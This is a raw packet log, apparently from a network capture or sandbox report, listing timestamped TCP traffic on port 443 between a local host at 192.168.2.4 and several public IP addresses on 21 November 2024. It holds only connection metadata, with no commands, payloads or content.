Nov 21, 2024 22:09:54.966579914 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.966609001 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.966691017 CET	49833	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:54.966723919 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.966747999 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.966795921 CET	49833	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:54.966964006 CET	49833	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:54.966983080 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.966993093 CET	49833	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:54.966998100 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:55.461159945 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:55.461214066 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:55.461261988 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:55.461289883 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:55.461330891 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:55.461347103 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:55.461457968 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:55.461570024 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:55.461601973 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:55.461620092 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:55.461620092 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:55.461631060 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:55.461642027 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:55.488799095 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:55.488846064 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:55.488928080 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:55.489073038 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:55.489082098 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:57.338249922 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:57.339150906 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:57.339191914 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:57.340451956 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:57.340451956 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:57.340461969 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:57.340472937 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:58.135462999 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:58.135510921 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:58.135546923 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:58.135576963 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:58.135612011 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:58.135629892 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:58.135876894 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:58.135890961 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:58.135911942 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:58.136123896 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:58.136183977 CET	443	49835	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:58.136234045 CET	49835	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:58.156923056 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:58.156975031 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:58.157046080 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:58.157241106 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:58.157293081 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:00.035311937 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:00.035434008 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:00.035518885 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:00.035830975 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:00.035866976 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:00.119630098 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:00.120115995 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:00.120193005 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:00.120701075 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:00.120714903 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:00.120759964 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:00.120779037 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:01.065679073 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:01.065736055 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:01.065772057 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:01.065809011 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:01.065896988 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:01.065938950 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:01.066020012 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:01.066076040 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:01.066271067 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:01.066271067 CET	49836	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:01.066312075 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:01.066337109 CET	443	49836	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:01.086893082 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:01.086961985 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:01.087064981 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:01.087342024 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:01.087367058 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:01.346296072 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:01.346342087 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:01.346399069 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:01.346811056 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:01.346822023 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:01.825877905 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:01.825953007 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:01.834338903 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:01.834362984 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:01.834726095 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:01.843643904 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:01.891328096 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.317332983 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.317364931 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.317384005 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.317421913 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.317464113 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.317485094 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.317512989 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.505840063 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.505877018 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.505922079 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.505937099 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.505973101 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.505995989 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.550000906 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.550045967 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.550084114 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.550126076 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.550149918 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.550192118 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.691988945 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.692020893 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.692110062 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.692110062 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.692143917 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.692308903 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.721951008 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.721971035 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.722223997 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.722233057 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.722524881 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.743208885 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.743228912 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.743325949 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.743325949 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.743335009 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.743432045 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.764317989 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.764354944 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.764441967 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.764451027 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.764616966 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.882540941 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.882565975 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.882697105 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.882698059 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.882766008 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.884830952 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.899794102 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.899852037 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.899897099 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.899913073 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.899950981 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.900891066 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.915524960 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.915569067 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.915652037 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.915667057 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.915709972 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.915790081 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.931515932 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.931556940 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.931600094 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.931613922 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.931649923 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.931673050 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.945199013 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.945240974 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.945285082 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.945298910 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.945336103 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.945593119 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.960016012 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.960063934 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.960122108 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.960123062 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.960144043 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.960319996 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.966749907 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.966896057 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.966896057 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.966907978 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.966944933 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.966963053 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.966979027 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:02.967047930 CET	49837	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:02.967060089 CET	443	49837	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.011897087 CET	49840	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.011991978 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.012842894 CET	49841	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.012898922 CET	443	49841	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.012939930 CET	49840	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.013117075 CET	49841	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.014874935 CET	49842	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.014899015 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.016891956 CET	49842	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.017033100 CET	49840	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.017057896 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.017265081 CET	49841	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.017282009 CET	443	49841	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.018210888 CET	49842	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.018237114 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.018855095 CET	49843	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.018867016 CET	443	49843	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.019273043 CET	49843	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.019342899 CET	49843	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.019350052 CET	443	49843	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.019412994 CET	49844	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.019458055 CET	443	49844	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.019638062 CET	49844	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.019800901 CET	49844	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:03.019834042 CET	443	49844	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:03.042598009 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.044744968 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.044816017 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.045345068 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.045360088 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.045417070 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.045433998 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.168294907 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.168390989 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.173587084 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.173600912 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.174007893 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.181679010 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.223335981 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.808572054 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.808631897 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.808681011 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.808723927 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.808799982 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.808860064 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.809320927 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.809372902 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.809401989 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.809694052 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.809775114 CET	443	49838	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.809856892 CET	49838	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.890701056 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.890754938 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.890795946 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.890836954 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.890875101 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.890893936 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.890911102 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.903235912 CET	49845	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.903310061 CET	443	49845	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.903426886 CET	49845	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.904684067 CET	49845	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:10:03.904710054 CET	443	49845	40.126.53.9	192.168.2.4
Nov 21, 2024 22:10:03.924325943 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.924400091 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.924411058 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.924448967 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.924474955 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.924546957 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.924629927 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.924717903 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.924736023 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:03.924757004 CET	49839	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:10:03.924765110 CET	443	49839	52.149.20.212	192.168.2.4
Nov 21, 2024 22:10:04.758301020 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.759443045 CET	49840	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:04.759505987 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.760082960 CET	49840	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:04.760097027 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.777641058 CET	443	49844	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.778042078 CET	49844	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:04.778106928 CET	443	49844	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.778605938 CET	49844	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:04.778620005 CET	443	49844	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.781291962 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.783814907 CET	49842	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:04.783832073 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.784380913 CET	49842	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:04.784390926 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.850544930 CET	443	49843	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.851516008 CET	49843	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:04.851541996 CET	443	49843	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.851938009 CET	49843	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:04.851943016 CET	443	49843	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.884187937 CET	443	49841	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.885020971 CET	49841	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:04.885035038 CET	443	49841	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:04.886137009 CET	49841	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:04.886142015 CET	443	49841	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.196438074 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.196465969 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.196528912 CET	49840	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.196563959 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.196605921 CET	49840	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.196873903 CET	49840	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.196882963 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.196913958 CET	49840	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.197103977 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.197148085 CET	443	49840	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.197191954 CET	49840	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.200264931 CET	49846	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.200352907 CET	443	49846	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.200537920 CET	49846	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.200690031 CET	49846	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.200726986 CET	443	49846	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.216512918 CET	443	49844	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.216566086 CET	443	49844	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.216624975 CET	49844	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.216649055 CET	443	49844	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.217104912 CET	49844	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.217106104 CET	49844	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.217128038 CET	443	49844	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.217195988 CET	443	49844	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.220012903 CET	49847	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.220046997 CET	443	49847	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.220125914 CET	49847	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.220318079 CET	49847	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.220330954 CET	443	49847	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.237884045 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.237912893 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.237978935 CET	49842	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.238006115 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.238070011 CET	49842	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.241338015 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.241395950 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.241538048 CET	49842	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.241940975 CET	49842	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.241940975 CET	49842	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.241976023 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.242012978 CET	443	49842	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.244167089 CET	49848	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.244213104 CET	443	49848	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.244275093 CET	49848	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.255511999 CET	49848	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.255532026 CET	443	49848	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.295042992 CET	443	49843	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.295125961 CET	443	49843	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.295284033 CET	49843	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.296005011 CET	49843	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.296024084 CET	443	49843	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.296032906 CET	49843	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.296036959 CET	443	49843	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.298608065 CET	49849	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.298646927 CET	443	49849	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.298711061 CET	49849	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.298903942 CET	49849	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.298921108 CET	443	49849	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.336527109 CET	443	49841	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.336683989 CET	443	49841	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:05.336733103 CET	49841	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:05.336760044 CET	49841	443	192.168.2.4	13.107.246.63
